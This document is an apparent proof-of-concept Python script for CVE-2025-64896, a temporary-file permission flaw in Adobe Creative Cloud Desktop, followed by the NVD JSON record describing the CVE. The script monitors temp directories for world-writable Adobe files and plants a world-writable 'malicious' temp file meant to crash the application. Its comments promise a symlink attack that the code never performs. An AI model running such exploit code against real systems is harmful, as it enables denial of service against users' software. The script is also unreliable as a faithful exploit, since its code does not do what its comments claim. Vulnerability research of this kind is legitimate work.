CVE-2025-64896

# CVE-2025-64896 PoC - Adobe Creative Cloud Desktop Temporary File Permission Vulnerability # This PoC demonstrates the symlink attack to trigger DoS # Note: This is for educational and security research purposes only import os import sys import time import threading from pathlib import Path def monitor_temp_directory(): """ Monitor Creative Cloud temporary directory for newly created files """ temp_base = os.environ.get('TEMP', '/tmp') adobe_temp_patterns = ['Adobe', 'Creative Cloud', 'CC'] print(f"[*] Monitoring temporary directories in: {temp_base}") while True: try: for item in os.listdir(temp_base): item_path = os.path.join(temp_base, item) if any(pattern.lower() in item.lower() for pattern in adobe_temp_patterns): if os.path.isdir(item_path): print(f"[+] Found potential temp directory: {item_path}") # Check for writable files with insecure permissions for root, dirs, files in os.walk(item_path): for f in files: file_path = os.path.join(root, f) try: # Check if file is writable by others stat_info = os.stat(file_path) mode = stat_info.st_mode # Check world-writable permissions (dangerous) if mode & 0o002: # Others have write permission print(f"[!] Writable file found: {file_path}") print(f" Permissions: {oct(mode)}") # Attempt to create symlink to critical file target = os.path.join(root, f"corrupted_{f}") try: if os.path.exists(target): os.remove(target) # This would cause DoS when app tries to read the symlink print(f"[*] Potential symlink attack vector: {target}") except: pass except (PermissionError, FileNotFoundError): continue except Exception as e: print(f"[-] Error during monitoring: {e}") time.sleep(2) def exploit_creative_cloud(): """ Simulate exploitation by creating conflicting files in temp directory """ print("[*] Simulating Creative Cloud temp file exploitation...") # In real scenario, this would target specific temp files used by Creative Cloud temp_dir = os.path.join(os.environ.get('TEMP', '/tmp'), 'AdobeTemp') try: os.makedirs(temp_dir, exist_ok=True) # Create a file with insecure permissions (world-writable) malicious_file = os.path.join(temp_dir, 'CC_Temp_Corrupt.dat') # Create file with overly permissive mode (demonstrating the vulnerability) with open(malicious_file, 'w') as f: f.write('CORRUPTED_DATA_DOES_NOT_WORK') # Set world-writable permissions (demonstrating the security issue) os.chmod(malicious_file, 0o777) print(f"[+] Created malicious temp file: {malicious_file}") print(f"[!] File is world-writable - demonstrates permission vulnerability") print(f"[*] When Creative Cloud reads this file, it may crash or malfunction") except Exception as e: print(f"[-] Exploitation simulation failed: {e}") if __name__ == '__main__': print("="*60) print("CVE-2025-64896 PoC - Adobe Creative Cloud Desktop") print("Temporary File Directory with Incorrect Permissions") print("="*60) # Run monitoring in background monitor_thread = threading.Thread(target=monitor_temp_directory, daemon=True) monitor_thread.start() # Run exploitation simulation time.sleep(1) exploit_creative_cloud() print("\n[*] Monitoring continues... Press Ctrl+C to exit") try: while True: time.sleep(1) except KeyboardInterrupt: print("\n[!] Exiting...") sys.exit(0)

{"cve": {"id": "CVE-2025-64896", "sourceIdentifier": "[email protected]", "published": "2025-12-09T21:15:59.540", "lastModified": "2025-12-12T18:49:34.957", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Creative Cloud Desktop versions 6.4.0.361 and earlier are affected by a Creation of Temporary File in Directory with Incorrect Permissions vulnerability that could lead to application denial-of-service. An attacker could exploit this vulnerability to disrupt the application's functionality by manipulating temporary files. Exploitation of this issue requires user interaction in that a victim must open a malicious file."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-379"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:adobe:creative_cloud:*:*:*:*:*:*:*:*", "versionEndExcluding": "6.8.0.821", "matchCriteriaId": "6958A4E5-79E2-4472-BF6E-74C4447C3A39"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}]}]}], "references": [{"url": "https://helpx.adobe.com/security/products/creative-cloud/apsb25-120.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}